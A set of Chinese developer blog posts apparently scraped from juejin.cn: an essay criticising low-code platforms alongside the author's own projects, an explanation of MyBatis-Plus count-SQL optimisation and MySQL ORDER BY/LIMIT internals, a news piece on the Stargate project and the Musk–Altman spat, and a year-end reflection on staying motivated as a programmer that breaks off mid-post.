  • 用来在线设计图片


home.png

  • 用来搭建H5页


home.png

  • 用来搭建商城


home.png

  • 用来搭建问卷调查




  • 用来搭建Form表单




  • 审批流管理系统




全场景


除了上述单一场景低代码,还有一种并不是只想做工具。而是要做全场景、无限自由度的通用型低代码平台。


其中代表作,肯定大家都很熟悉,阿里的lowcode-engine



什么是低代码毒瘤?


就是不少低代码平台用户(技术)的使用反馈



  • 代码一句话的事,要搭建一整条逻辑链

  • 再完美、再丰富的业务物料库,并不能覆盖所有业务,实际上每有新业务都是伴随大量的新业务物料开发

  • 解决BUG时超难debug,你只能根据逻辑链去慢慢检查节点逻辑

  • 很容易形成孤岛,你接手的别人屎山代码还能直接阅读代码理解,你接手的屎山低代码平台怎么捋

  • 我想干的是技术,入职干几年JSP我人都会废掉,更别说拖拽逻辑、拖拽组件开发页面,逼我辞职!(真实经历,导致从后端转前端,后文有详述)


我眼中的低代码


回到开头,我理解的低代码



它就应该像一把手术刀(工具),为消除某个病瘤(某个场景),精准简单快捷解决问题(降本增效)。


而不是造一个可视化的编辑器,先用可视化编辑器先去构造场景,然后再在构造的场景上开发,这在我看来是本末倒置。


强如lowcode-engine,阿里一个团队****开发了几年,都定义了schema协议标准,大家使用都是吐嘈声一片。可见这不是技术原因,而是设计原因。从为业务提效的工具改为了提效程序员的编辑器


切忌!不要为了一口醋,一顿饺子


我认为低代码以程序员为用户去设计低代码产品注定失败,这几年低代码毒瘤的评价就是一场大型的社会实验,这就是用户(程序员)最真实的反馈


我理想中的的低代码:



  • 用户:产品、运营、不懂技术的普通用户

  • 功能: 简单、快速、稳定的搭建某一场景

  • 目的:实现场景业务的降本增效

  • 槽点:原本目的是让非程序员通过平台能简单、快速新增固定场景业务,现在却是想开发一个可视化搭建编辑器取代程序员??


我的结论是,如果那么复杂的场景,物料拖来拖去,逻辑链上百个节点,不如cursor一句话...


这是我的黑历史,也是我的来时路


转行前端:低代码熟练工最早受害者


我2017年大学毕业,原本学的是Java,在南京面试并入职了一家公司做后端开发


当时公司招聘了大量应届毕业生,我本以为是因为业务发展迅速,需要大量研发人员。然而入职后才发现,公司后端开发并不使用代码开发,而是通过公司自研的一个逻辑编辑器进行开发。这个编辑器采用拖拽节点搭建逻辑链的方式来实现后端业务。我们平时写的一句代码,实际上就是一条逻辑链,独立的方法构成一个独立的父节点,节点之间再相互串联。之所以招聘这么多人,是因为公司离职率极高,每年大约只有20%的人能留下来。公司通过这种方式,逐年筛选出逻辑编辑器的熟练工


我干了两个月后,实在无法适应,准备离职。但当时招聘季已经结束,只能暂时忍耐。转机出现在公司的低代码平台——它只支持后端开发,前端仍然需要编写代码。前端组也在招人,于是我谎称自己会前端,成功转到了前端组。但实际上,我当时只会一点Vue基础,完全不懂前端开发,只能从头学起。最终,我从后端彻底转成了前端开发


在大半年后,我跳槽去了另一家公司。就在我准备离职时,公司其他部门的前端组也开发出了类似的低代码平台。我试用过,虽然非常难用,很多操作反人类,但公司也打算仿照后端的模式,每年招聘前端应届生,逐年筛选出熟练工


可以说,我们这波人是国内最早被低代码迫害的那批开发者。因为我亲身经历过,所以我很明确地告诉大家:有些公司开发和推广低代码平台的目的,并不是为了提升业务效率,而是为了替换掉研发人员,转而使用一些廉价的低代码平台的熟练工


这简直从根源上实现了节流,对他们来说也是增效


开源之旅:构建我理解的低代码平台


了解我的同学可能知道,我是低代码开源项目Mall-Cook云搭作者,既然我已受过低代码的迫害,那为什么还要开发低代码?


因为我想还原可视化拖拽搭建降本增效原本的魅力


我的的研究很明确,就是开发普通人(产品、运营、不管会不会技术的普通人)在某些场景(H5、问卷、图片、商城等)能简单、快速搭建的工具(有用的才算工具,如果只是KPI产品,合格的软件我认为都不算)


五年磨一剑,三代铸巅峰


我公司是一家做文旅小公司,而公司的业务恰好是我低代码项目落地最佳场景


在过去的五年,我独立开发了三代低代码项目,在项目我都会开发完成后。都自荐接入公司的实际项目中,通过用户实际使用的反馈,不断的优化扩展


H5-Generate

我自研第一代低代码平台,当时仿照鲁班花了3个月自己搞了一个H5生成器,用来搭建生成活动页H5。


最初的试水之作,现在看来很简陋、使用体验也一般,也没信心开源出来献丑。不过我接入公司文旅小程序,支持了我们当时拳头产品数百个活动页的搭建。



Mall-Cook

自研第二代低代码平台,突破只能搭建H5的桎梏,支持搭建H5、小程序、APP任意端页面搭建。


开源地址: 链接



Mall-Cook旨在开发一个供运营、产品快速搭建商城的可视化平台。其实现了可视化页面搭建、组件流水线式标准接入、搭建页面多端生成(H5、小程序、APP)、运营/产品低学习成本维护等特点。



Mall-Cook是我承上启下的开发项目,在项目开发完成后,在当时我还是比较满意的。


所以把项目进行了开源,并向公司自荐由Mall-Cook替换掉H5-Generate,支持公司后续项目的可视化搭建需求


Mall-Cook在开源和公司都取得了很不错的成绩,真正让普通人去做了部分研发需求做的工作,真做到了我所希望的降本提效



云搭

自研第三代低代码平台,大成之作,云搭万物,触手可及!


云搭平台: 链接


开源地址: 链接


介绍文章: 链接



云搭是一款功能强大的可视化搭建解决方案,它支持零代码搭建小程序H5问卷图文文章等多种应用,致力于提供一套简单便捷专业可靠的多场景可视化搭建平台。


我愿景是让所有用户(无论会不会技术的普通人),使用云搭可以简单、便捷搭建各种应用。



平台功能



  • 使用uni-app渲染器支持H5、小程序、APP的多端渲染

  • 开发自定义表单系统,支持表单-列表-详情页整链路设计方案

  • 结合多端渲染与自定义表单系统,云搭设计了小程序H5问卷图文文章多种使用场景

  • 开发嵌套布局,提供卡片、tab等容器组件,让页面支持无限层级嵌套布局

  • 内置图片实时编辑,给用户更多自由设计空间

  • 开发数据分析模块,多维度统计分析问卷、表单数据

  • 开发资源社区,共享用户创建的应用模板

  • 内置图片库,提供1000+图片资源


通过一代代的产品,解读我眼中的低代码


我对低代码的理解是通过可视化拖拽来快速搭建某个场景工具


那我设计云搭的理想就是,通过可视化拖拽来快速搭建多个场景工具库


回到当初那句话,这几年一步步走来,我始终坚信实践是检验真理的唯一标准,我理想国也从未变过...



小公司到底要不要搞自己的低代码?



  • 我们公司是做文旅的,活动、电商等天然就满足可视化搭建工具的增效。如果公司业务类似的部分简单场景,可以github找个相关项目或者自研个简单的工具来提效

  • 如果用来搭建管理后台页面,我的意见直接是直接否掉。我的亲身例子就是,不要像我那样最后受不了煎熬,只能离职。包括我们公司只是在后台封装了通用业务组件和CURD Hooks来提效开发,新页面直接CV然后改需求,真的我感觉搞来搞去不如不如cursor一句话。


小公司不是那些中大厂,是不会成立项目组来做这些。在人力和精力有限的情况下,如果是固定场景的话,可以找市面上成熟的平台仿照开发,如果是想用lowcode-engine来打造公司通用型平台,直接拒掉...


真实案例


除了我司,我再举个真实例子(大道理谁都会说,我始终坚信实践是检验真理的唯一标准)


古茗的前端团队


🚀遥遥领先!古茗门店菜单智能化的探索


古茗在面对门店几百张菜单,经常更新的业务现状



开发门店菜单智能化平台搭建电子菜单,切实的实现增效



还是我那句话,它就应该像一把手术刀(工具),为消除某个病瘤(某个场景),精准简单快捷解决问题(降本增效)。


不为解决实际问题开发它干嘛?不如不做...


巅峰看到虚假的拥护,黄昏见证真正的忠诚


我从低代码还未大火时便开始研究,见证了它的崛起与沉寂。巅峰时,无数人追捧,仿佛它是解决一切问题的灵丹妙药;而如今,热潮退去,许多人选择离开,我还是孜孜不倦的探索我的眼中的低代码。


写这篇文章就是想对低代码祛魅,拨开层层糖衣看看它真实的模样。它没外界吹捧的那么无所不能,但也并未一无是处。


一去数年,我仍在低代码的道路上独自求索,构建自己的理想国


诸君共勉 ~


作者:雨尽阑珊
来源:juejin.cn/post/7468621394736922662
收起阅读 »

产品:大哥,你这列表查询有问题啊!

前言 👳‍♂️产品大哥(怒气冲冲跑过来): “大哥你这查询列表有问题啊,每次点一下查询,返回的数据不一样呢” 👦我:“FKY 之前不是说好的吗,加了排序查询很卡,就取消了” 🧔技术经理:“卡主要是因为分页查询加了排序之后,mybatisPlus 生成的 cou...
继续阅读 »

前言


👳‍♂️产品大哥(怒气冲冲跑过来): “大哥你这查询列表有问题啊,每次点一下查询,返回的数据不一样呢”


👦:“FKY 之前不是说好的吗,加了排序查询很卡,就取消了”


🧔技术经理:“卡主要是因为分页查询加了排序之后,mybatisPlus 生成的 count 也会有Order by就 很慢,自己实现一个count 就行了”


👦:“分页插件在执行统计操作的时候,一般都会对Sql 简单的优化,会去掉排序的”



今天就来看看分页插件处理 count 的时候的优化逻辑,是否能去除order by


同时 简单阐述一下 order bylimit 的运行原理


往期好文:最近发现一些同事的代码问题



mybatisPlus分页插件count 运行原理


分页插件都是基于MyBatis 的拦截器接口Interceptor实现,这个就不用多说了。下面看一下分页插件的处理count的代码,以及优化的逻辑。



详细代码见:com.baomidou.mybatisplus.extension.plugins.inner.PaginationInnerInterceptor.class



count sql 从获取到执行的主要流程


1.确认count sql MappedStatement 对象:

先查询Page对象中 是否有countId(countId 为mapper sql id),有的话就用自定义的count sql,没有的话就自己通过查询语句构建一个count MappedStatement


2.优化count sql

得到countMs构建成功之后对count SQL进行优化,最后 执行count SQL,将结果 set 到page对象中。


public boolean willDoQuery(Executor executor, MappedStatement ms, Object parameter, RowBounds rowBounds, ResultHandler resultHandler, BoundSql boundSql) throws SQLException {
IPage<?> page = ParameterUtils.findPage(parameter).orElse(null);
if (page == null || page.getSize() < 0 || !page.searchCount()) {
return true;
}

BoundSql countSql;
// -------------------------------- 根据“countId”获取自定义的count MappedStatement
MappedStatement countMs = buildCountMappedStatement(ms, page.countId());
if (countMs != null) {
countSql = countMs.getBoundSql(parameter);
} else {
//-------------------------------------------根据查询ms 构建统计SQL的MS
countMs = buildAutoCountMappedStatement(ms);
//-------------------------------------------优化count SQL
String countSqlStr = autoCountSql(page, boundSql.getSql());
PluginUtils.MPBoundSql mpBoundSql = PluginUtils.mpBoundSql(boundSql);
countSql = new BoundSql(countMs.getConfiguration(), countSqlStr, mpBoundSql.parameterMappings(), parameter);
PluginUtils.setAdditionalParameter(countSql, mpBoundSql.additionalParameters());
}

CacheKey cacheKey = executor.createCacheKey(countMs, parameter, rowBounds, countSql);
//----------------------------------------------- 统计SQL
List<Object> result = executor.query(countMs, parameter, rowBounds, resultHandler, cacheKey, countSql);
long total = 0;
if (CollectionUtils.isNotEmpty(result)) {
// 个别数据库 count 没数据不会返回 0
Object o = result.get(0);
if (o != null) {
total = Long.parseLong(o.toString());
}
}
// ---------------------------------------set count ret
page.setTotal(total);
return continuePage(page);
}

count SQL 优化逻辑


主要优化的是以下两点



  1. 去除 SQl 中的order by

  2. 去除 left join


哪些情况count 优化限制



  1. SQL 中 有 这些集合操作的 INTERSECT,EXCEPT,MINUS,UNION 直接不优化count

  2. 包含groupBy 不去除orderBy

  3. order by 里带参数,不去除order by

  4. 查看select 字段中是否动态条件,如果有条件字段,则不会优化 Count SQL

  5. 包含 distinct、groupBy不优化

  6. 如果 left join 是子查询,并且子查询里包含 ?(代表有入参) 或者 where 条件里包含使用 join 的表的字段作条件,就不移除 join

  7. 如果 where 条件里包含使用 join 的表的字段作条件,就不移除 join

  8. 如果 join 里包含 ?(代表有入参) 就不移除 join


详情可阅读一下代码:


/**
* 获取自动优化的 countSql
*
* @param page 参数
* @param sql sql
* @return countSql
*/

protected String autoCountSql(IPage<?> page, String sql) {
if (!page.optimizeCountSql()) {
return lowLevelCountSql(sql);
}
try {
Select select = (Select) CCJSqlParserUtil.parse(sql);
SelectBody selectBody = select.getSelectBody();
// https://github.com/baomidou/mybatis-plus/issues/3920 分页增加union语法支持
//----------- SQL 中 有 这些集合操作的 INTERSECT,EXCEPT,MINUS,UNION 直接不优化count

if (selectBody instanceof SetOperationList) {
// ----lowLevelCountSql 具体实现: String.format("SELECT COUNT(*) FROM (%s) TOTAL", originalSql)
return lowLevelCountSql(sql);
}
....................省略.....................
if (CollectionUtils.isNotEmpty(orderBy)) {
boolean canClean = true;
if (groupBy != null) {
// 包含groupBy 不去除orderBy
canClean = false;
}
if (canClean) {
for (OrderByElement order : orderBy) {
//-------------- order by 里带参数,不去除order by
Expression expression = order.getExpression();
if (!(expression instanceof Column) && expression.toString().contains(StringPool.QUESTION_MARK)) {
canClean = false;
break;
}
}
}
//-------- 清除order by
if (canClean) {
plainSelect.setOrderByElements(null);
}
}
//#95 Github, selectItems contains #{} ${}, which will be translated to ?, and it may be in a function: power(#{myInt},2)
// ----- 查看select 字段中是否动态条件,如果有条件字段,则不会优化 Count SQL
for (SelectItem item : plainSelect.getSelectItems()) {
if (item.toString().contains(StringPool.QUESTION_MARK)) {
return lowLevelCountSql(select.toString());
}
}
// ---------------包含 distinct、groupBy不优化
if (distinct != null || null != groupBy) {
return lowLevelCountSql(select.toString());
}
// ------------包含 join 连表,进行判断是否移除 join 连表
if (optimizeJoin && page.optimizeJoinOfCountSql()) {
List<Join> joins = plainSelect.getJoins();
if (CollectionUtils.isNotEmpty(joins)) {
boolean canRemoveJoin = true;
String whereS = Optional.ofNullable(plainSelect.getWhere()).map(Expression::toString).orElse(StringPool.EMPTY);
// 不区分大小写
whereS = whereS.toLowerCase();
for (Join join : joins) {
if (!join.isLeft()) {
canRemoveJoin = false;
break;
}
.........................省略..............
} else if (rightItem instanceof SubSelect) {
SubSelect subSelect = (SubSelect) rightItem;
/* ---------如果 left join 是子查询,并且子查询里包含 ?(代表有入参) 或者 where 条件里包含使用 join 的表的字段作条件,就不移除 join */
if (subSelect.toString().contains(StringPool.QUESTION_MARK)) {
canRemoveJoin = false;
break;
}
str = subSelect.getAlias().getName() + StringPool.DOT;
}
// 不区分大小写
str = str.toLowerCase();
if (whereS.contains(str)) {
/*--------------- 如果 where 条件里包含使用 join 的表的字段作条件,就不移除 join */
canRemoveJoin = false;
break;
}

for (Expression expression : join.getOnExpressions()) {
if (expression.toString().contains(StringPool.QUESTION_MARK)) {
/* 如果 join 里包含 ?(代表有入参) 就不移除 join */
canRemoveJoin = false;
break;
}
}
}
// ------------------ 移除join
if (canRemoveJoin) {
plainSelect.setJoins(null);
}
}
}
// 优化 SQL-------------
plainSelect.setSelectItems(COUNT_SELECT_ITEM);
return select.toString();
} catch (JSQLParserException e) {
..............
}
return lowLevelCountSql(sql);
}

order by 运行原理


order by 排序,具体怎么排取决于优化器的选择,如果优化器认为走索引更快,那么就会用索引排序,否则,就会使用filesort (执行计划中extra中提示:using filesort),但是能走索引排序的情况并不多,并且确定性也没有那么强,很多时候,还是走的filesort


索引排序


索引排序,效率是最高的,就算order by 后面的字段是 索引列,也不一定就是通过索引排序。这个过程是否一定用索引,完全取决于优化器的选择。


filesort 排序


如果不能走索引排序, MySQL 会执行filesort操作以读取表中的行并对它们进行排序。


在进行排序时,MySQL 会给每个线程分配一块内存用于排序,称为 sort_buffer,它的大小是由sort_buffer_size控制的。


sort_buffer_size的大小不同,会在不同的地方进行排序操作:



  • 如果要排序的数据量小于 sort_buffer_size,那么排序就在内存中完成。

  • 如果排序数据量大于sort_buffer_size,则需要利用磁盘临时文件辅助排序。

    采用多路归并排序的方式将磁盘上的多个有序子文件合并成一个有序的结果集





filesort 排序 具体实现方式


FileSort是MySQL中用于对数据进行排序的一种机制,主要有以下几种实现方式:


全字段排序


  • 原理:将查询所需的所有字段,包括用于排序的字段以及其他SELECT列表中的字段,都读取到排序缓冲区中进行排序。这样可以在排序的同时获取到完整的行数据,减少访问原表数据的次数。

  • 适用场景:当排序字段和查询返回字段较少,并且排序缓冲区能够容纳这些数据时,全字段排序效率较高。


行指针排序


  • 原理:只将排序字段和行指针(指向原表中数据行的指针)读取到排序缓冲区中进行排序。排序完成后,再根据行指针回表读取所需的其他字段数据。

  • 适用场景:当查询返回的字段较多,而排序缓冲区无法容纳全字段数据时,行指针排序可以减少排序缓冲区的占用,提高排序效率。但由于需要回表操作,可能会增加一定的I/O开销。


多趟排序


  • 原理:如果数据量非常大,即使采用行指针排序,排序缓冲区也无法一次容纳所有数据,MySQL会将数据分成多个较小的部分,分别在排序缓冲区中进行排序,生成多个有序的临时文件。然后再将这些临时文件进行多路归并,最终得到完整的有序结果。

  • 适用场景:适用于处理超大数据量的排序操作,能够在有限的内存资源下完成排序任务,但会产生较多的磁盘I/O操作,性能相对较低


优先队列排序


  • 原理:结合优先队列数据结构进行排序。对于带有LIMIT子句的查询,MySQL会创建一个大小为LIMIT值的优先队列。在读取数据时,将数据放入优先队列中,根据排序条件进行比较和调整。当读取完所有数据或达到一定条件后,优先队列中的数据就是满足LIMIT条件的有序结果。

  • 适用场景:特别适用于需要获取少量排序后数据的情况,如查询排名前几的数据。可以避免对大量数据进行全量排序,提高查询效率。



❗所以减少查询字段 ,以及 减少 返回的行数,对于排序SQL 的优化也是非常重要

❗以及order by 后面尽量使用索引字段,以及行数限制



limit 运行原理


limit执行过程
对于 SQL 查询中 LIMIT 的使用,像 LIMIT 10000, 100 这种形式,MySQL 的执行顺序大致如下:



  1. 从数据表中读取所有符合条件的数据(包括排序和过滤)。

  2. 将数据按照 ORDER BY 排序。

  3. 根据 LIMIT 参数选择返回的记录:

    • 跳过前 10000 行数据(这个过程是通过丢弃数据来实现的)。

    • 然后返回接下来的 100 行数据。




所以,LIMIT 是先检索所有符合条件的数据,然后丢弃掉前面的行,再返回指定的行数。这解释了为什么如果数据集很大,LIMIT 会带来性能上的一些问题,尤其是在有很大的偏移量(比如 LIMIT 10000, 100)时。


总结


本篇文章分析,mybatisPlus 分页插件处理count sql 的逻辑,以及优化过程,同时也简单分析order bylimit 执行原理。


希望这篇文章能够让你对SQL优化 有不一样的认知,最后感谢各位老铁一键三连!



ps: 云服务器找我返点;面试宝典私;收徒ING;



作者:提前退休的java猿
来源:juejin.cn/post/7457934738356338739
收起阅读 »

马斯克贴脸开大星际之门项目:他们根本没钱,奥特曼是骗子

昨天,美国科技界发生了一件大事:美国新任总统特朗普联合 OpenAI CEO 奥特曼、软银 CEO 孙正义宣布了一个名为「星际之门」(Stargate Project)的人工智能项目。 该项目将成立一家公司,计划未来四年内投资 5000 亿美元,并立即开始部署...
继续阅读 »

昨天,美国科技界发生了一件大事:美国新任总统特朗普联合 OpenAI CEO 奥特曼、软银 CEO 孙正义宣布了一个名为「星际之门」(Stargate Project)的人工智能项目。


该项目将成立一家公司,计划未来四年内投资 5000 亿美元,并立即开始部署 1000 亿美元,为 OpenAI 在美国建设新的人工智能基础设施。此举旨在确保美国在人工智能领域的领导地位,同时创造数十万个新就业岗位。


图源:the Verge


星际之门项目公布之后,围绕着它的讨论便开始了,有力挺者,也有泼冷水的。


近来风头正盛的马斯克来了波贴脸开大,「他们根本就没有这么多钱。并且根据可靠的消息来源,软银现在的资金远低于 100 亿美元。」



数小时之后,奥特曼进行了回击。他一方面肯定了马斯克是我们这个时代最鼓舞人心的企业家,并真诚地尊重他的成就。



另一方面反驳道,「马斯克你是错的,你肯定也知道。你要不要来参观一下已经在建设中的第一个站点呢?星际之门项目对国家来说是件好事。我觉得有利于国家的事情并不总是对你们公司最有利。在你的新角色中,我希望你能把国家放在第一位。」



在另一位推特博主、软件工程师 Jason DeBolt 的帖子(他表示奥特曼不值得信任,直觉告诉他奥特曼应该远离人工智能,星际之门项目不会有好结果)下面,马斯克又嘲讽「奥特曼是个骗子」。



而就在马斯克与奥特曼在推特对线的同时,人工智能独角兽 Anthropic 的 CEO Dario Amodei 也加入了战局。另外,据多方可靠消息,谷歌昨日向 Anthropic 追加了 10 亿美元投资。


在达沃斯世界经济论坛接受彭博社采访时,Dario Amodei 认为,星际之门看起来「有点混乱」,目前既不清楚该项目实际涉及多少资金以及其中多少资金能承诺到位,也不清楚政府将如何参与进来。


Dario Amodei。图源:bloomberg


此外,微软 CEO 纳德拉在接受 CNBC 采访时,也被问及对星际之门以及马斯克嘲讽 OpenAI 等没这么多钱的看法。


纳德拉没有选择正面回答,只是表示微软 2025 财年将投入的 800 亿美元会到位,这些钱将用于扩建 Azure 服务,世界各地的客户可以在其上使用 OpenAI 以及其他厂商的大模型。


你觉得星际之门项目会草草收场吗?


参考链接:


x.com/ns123abc/st…


techcrunch.com/2025/01/22/…


http://www.bloomberg.com/news/articl…


作者:机器之心
来源:juejin.cn/post/7462937570671984681
收起阅读 »

🤔认真投入两个月做的小程序,能做成什么样子?有人用吗?

前言 Hello 大家好我是 oil 欧呦,大概一个月前,我写了一篇文章 # 🤔认真投入一个月做的小程序,能做成什么样子?有人用吗? ,那是我开始做自己的第一个卡盒小程序的第一个月,那又过了一个月后,这个小程序做到什么程度了呢?今天就给大家汇报一下情况。 性...
继续阅读 »

前言


Hello 大家好我是 oil 欧呦,大概一个月前,我写了一篇文章 # 🤔认真投入一个月做的小程序,能做成什么样子?有人用吗? ,那是我开始做自己的第一个卡盒小程序的第一个月,那又过了一个月后,这个小程序做到什么程度了呢?今天就给大家汇报一下情况。


7254f7fdf27ca69b299a5ea0a76a5d8.png

性能优化


从上个月月底开始,我就一直在进行性能优化了,因为用户的大部分的数据都是存储在本地的,因此数量量比较大的时候,一些普普通通的运算逻辑也会变得很耗时。于是我以单个卡盒 5000 张卡片正常使用为标准进行性能优化,上个月先是做了性价比最高的虚拟滚动,虚拟轮播图,减少 dom 节点的渲染,保障几百张卡片时页面可以正常使用。


在这个月里大部分做的都是复杂运算的复杂度降低,跟着 performance 里的火焰图一点点检查一些耗时高的运算,减少数组遍历次数,减少嵌套遍历,增加防抖,缓存等等机制,让复杂运算只在需要的时候执行,最终效果还是很可观的,目前 3000 张卡片只有轻微的操作延迟了。


我还将轮播图的优化写了一篇文章介绍:😎 小程序手搓轮播图,几千个元素滑动照样丝滑~,其他的性能优化和我的业务太强相关了,就没有单独写文章。


考虑到小程序本地存储的限制和复杂运算导致的卡顿问题,后面有时间了我还是把全部数据都迁移到云上数据库吧,这样用户也可以跨设备使用了。


Bug 修复


随着功能越来越多,Bug 也陆续浮现出来。由于小程序还处于初期阶段,我还没有写自动化测试,所以每次添加新功能时,经常会影响到已有的功能。后来,我每次发版前都会录一个介绍新功能的视频,顺便发到小红书上。这个视频中肯定不能出现 Bug,这等于强制我把手动测试和宣传流程绑定在一起。


有几个与小程序数据修改后没有重新渲染页面的 Bug ,修复花了不少时间,虽然 Cursor 在 Bug 修复方面帮不上太大的忙,但用多了反而让我对自己的代码不够自信。偶尔踩踩坑,自己从头梳理一下逻辑也挺好的。


新的 AI 功能


推出了三种学习模式:


c74e9509b71022903af11d81053da39.png

  • 回忆模式:自行选择对卡片的记忆情况

  • 单选模式:通过 AI 生成混淆选项

  • 复述模式:手动输入答案 AI 进行评分和解析


具体的功能介绍可以看这篇文章:🧐如何基于艾宾浩斯记忆曲线设计一个学习规划+定时复习功能


期间,大模型换了三次。第一次从千问换成了 DeepSeek,后来因为生成速度太慢,又换成了 Gemini。结果用了一段时间后,发现由于地区原因被限制调用了,最后换成了微软的 Phi4。顺便我还重构了整个用户限额逻辑,将每天的使用额度从 15 次提升到 50 次。反正 AI 的成本也不高,不如让用户开心使用。


小程序使用情况


第一个月的第三周开头把小程序上架,第四周结束大概 150 人使用过,每天十几二十个,不过当时就在掘金发发技术文章,也没咋宣传。


从第一个月结束到今天,大概新增了 1300 个用户吧,一月六号那一天不知道是不是有了什么小程序的推荐,那天用户访问量会比较高,达到四百多:


0961a8f7ab8eb5d892d40cab751fb32.png

但是后续因为没有备案,导致小程序的被搜索功能直接被关闭了,只有已经添加过小程序的用户才能进入,导致后续的访问量就暴跌了,那天我赶紧去把备案的资料准备好,整个流程大概三天搞定了,这三天里就没有任何新用户可以进入小程序了,从那之后小程序的流量就很差了,每天大概二三十人吧,加上年末了工作特别忙,也没有经常去更新功能和运营小红书了。


截至至发文这天,整体数据是这样的:


e08fa23fecc59dd2dd80ae1dac0858f.jpg

卡盒集市


438459cf4612ba5facf58335e68790f.png

从我的小程序上线一周的时候,就有好多人说如果要自己生成卡片,即便有 AI 也挺麻烦的,因此我就想着提供一些现成的卡片,用户可以自助选择导入,但是卡片的内容我一直很纠结,毕竟用户五花八门,想要学的东西也不同,我自己来做这件事情要花不少精力的。


不过纠结归纠结,身体还是很老实的开始做了,第一批的内容我做的是我自己用学习卡盒最常用的场景,就是英语对话学习,将一篇英语对话文章中的每一句话做为一张卡片,正面是中文,反面是英文。首先花了很多时间,先创建了《365天英语口语》,其中包含各种日常生活场景的对话句子,用于学习英语造句能力和常用语法。共七十多个卡盒,每个卡盒中卡片一些关键点都自带笔记。


其次是《日常生活单词》,包含各种生活场景的常用单词集合,动物,天气,厨房用具,旅行,购物都有,后续还有四十几个场景我正在整理中,每张卡片背面笔记中都带有例句,卡盒集市中的卡盒在预览的时候可以简单查看正反面,如果需要学习可以导入到自己的目录中,导入后就像自己创建的卡盒一样可以制定学习计划了。


内容的整理我是用的 DeepSeek,DeepSeek 是真的良心啊,官网的对话是基本没有 token 上限的,一次几千上万个字都可以顺利生成,而且效果也不错,非常推荐大家体验一下。


运营推广


这个月开始发发小红书了,以使用介绍的视频和功能介绍的图文为主,我把我之前大学期间用来分享设计作品的账号用来发一些功能介绍之类的,我不想花太多时间去搞,所以每次都匆匆忙忙的录个视频做个图,怕自己认真做了没有好反馈会不开心哈哈哈,最开始浏览量不高,后面慢慢的略有起色,不至于很冷清,但相比于我以前的一些比较火的作品,也算挺惨淡的。


030b7296a781ee76650923ad40bad92.png

不过为了做一些宣传图,我又把之前的一些设计字体啥的重新在电脑上安装了下,机模的图用的是 shots.so 生成的,文字自己在 PPT 里加一加,效果还可以,给大家看看:


cd6bda6025565dd33f8853337679f06.jpg

目前是一篇爆文都没有,所以这个首图好不好看可能还处在一个自嗨阶段,更好设计方向和标题内容我还在持续摸索中。


后续


接下来,我计划继续优化小程序的性能,尤其是将数据迁移到云端,彻底解决本地存储的限制问题。在功能方面,我还有很多关于AI功能的创意,后续有时间会逐步研究并落地实现。


同时,我也会继续在小红书和其他平台上进行宣传推广。除了推广小程序本身,我还会把每个复杂一点的实现技术点写成文章,总结实现思路并提供示例代码,希望能帮助大家少踩一些坑。也欢迎大家搜索并体验学习卡盒小程序,期待你们的反馈和建议!


作者:oil欧哟
来源:juejin.cn/post/7462338830965424139
收起阅读 »

年终 :别自我内耗了 ,每年奖励自己一点新东西

前言 前两天看到一个评论 ,答主说 : 代码写了几年 ,已经没有刚毕业时候的热情了,不想深入,没有欲望。 这其实是一个很普遍的现象 : 当一件事情成了工作 ,那必然有麻木的一天。 关于自我内耗 当 写代码 和工作挂钩了 ,那他就会离生活越来越远。 我们去做这件...
继续阅读 »

前言


前两天看到一个评论 ,答主说 : 代码写了几年 ,已经没有刚毕业时候的热情了,不想深入,没有欲望。


这其实是一个很普遍的现象 : 当一件事情成了工作 ,那必然有麻木的一天


关于自我内耗


写代码 和工作挂钩了 ,那他就会离生活越来越远。 我们去做这件事情的时候,就会自然的和 收入 ,未来 等要素进行强绑定。



  • 工作压力大了 ,兴趣度 - 1

  • 每加一次班 ,兴趣度 - 1

  • 每和产品打一架 , 兴趣度 -1

  • 不涨工资不升职 , 兴趣度 -1

  • 。。。。。


每一次工作上的不如意 ,都会让你对编码的兴趣降低!!


久而久之 ,你可能会想 : 你是不是不喜欢编码 ,你可能根本不喜欢写代码 , 你不想再为这个你不喜欢的兴趣花精力了。


而这篇文章的目的 ,就是为了给大家一个方向 : 如何维持自己的兴趣 ,找回初心


关于我的一年



发布的文章 - Java 部分 :



今年和往年大差不差 ,发布了 40+ 篇文章。其中 Java 只针对一些特定领域进行了加强 :


image.png


加上一些零零散散的 JVM 文章 ,总共应该15篇左右。 但是这些其实已经够了 ,到了5-10年这个年限 , 单纯编码技术上已经没有太大的空间了。


年轻的时候硬吃底层 ,是为了提高自己的代码水平。年限大了就会发现 ,底层代码其实都差不多 ,哪怕看过了流程 ,转头就忘 ,就算不忘 ,大多数地方一辈子也用不上。


📍 总结 : 所以我现在对自己的规划是针对于特定场景, 进行深度的思考 ,更偏向与架构层面



寻求突破 - 其他部分 :



其他的大部分精力 ,都没有局限当前的语言上面 , 一直在研究新的东西。


image.png


image.png


image.png


@ gitee.com/antblack/an…


重要的精力都放在了 Python 和 大数据 , AI 层面。 他们针对的目的性都是不同的。



  • ❤️ Python 的目的是为了开辟自己的副业

  • ❤️ 大数据是当前行业的升级 ,大数据能让我在当前领域尝试更多的创新模式

  • ❤️ AI 是未来 ,记住 , 人工智能是未来


这3个方向都没有把自己局限在编码层面了 ,而这3个模块都有可能让我在脱离工作后 ,也能拥有更多的出路, 不管是创业还是寻求更好的工作,他们都能有所帮助。


📍 总结 : 所以没必要把自己限制在一行行代码之间,CURD 已经在工作中写的够多了,去看看一些关联的领域。


给自己一点奖励吧


写代码 6-7 年了 , 我对编程还是一如初心, 其实只是对自己经常进行一些小奖励 , 这里我也许可以给苦恼的朋友们一些小方向 :



每年奖励自己一门新语言 :



这些年来 ,我陆陆续续尝试了 JavaScript , Android , Lua (这个不算大, 算是偷懒了) , 到今年用 Python 写了一个开源工具。


我每年都会让自己去了解一下其他的语言, 他们都不会学的太深 ,主要的定位是能用他们产生一个生产力的应用。


比如 JavaScript 主要用来写了一个小程序 (最后不好玩都没上架)。 Lua 是为了自己实现一个 Nginx 的工具。


Android 是为了实现一个简单的 App , Python 是为了能炒股。


👉 奇奇怪怪的想法和思路 ,以及实现后的一点点成就感 ,是维持兴趣的一大核心。



每年奖励一些新东西 :



年初 AIGC 大火的时候 ,就一直在尝试 AIGC 转换成生产力,最简单的实现就是帮我老婆实现了一个 SD 的文生图服务器 ,不过后面太贵了就下了(真老贵)。


然后又陆陆续续的尝试各种 AIGC 的直接使用 ,当你切实的做出一点什么后 ,成就感老多了。


AIGC : 真的要失业了 , 让 ControlNet 带来一点小震撼


然后这一年都在让 AI 帮我提高生产力 ,可以说非常成功。 比如我的 Python 项目 ,其中80% 的代码都是 AI 实现的, 这让我最后落地的压力大大减轻,成功率提高了很多。


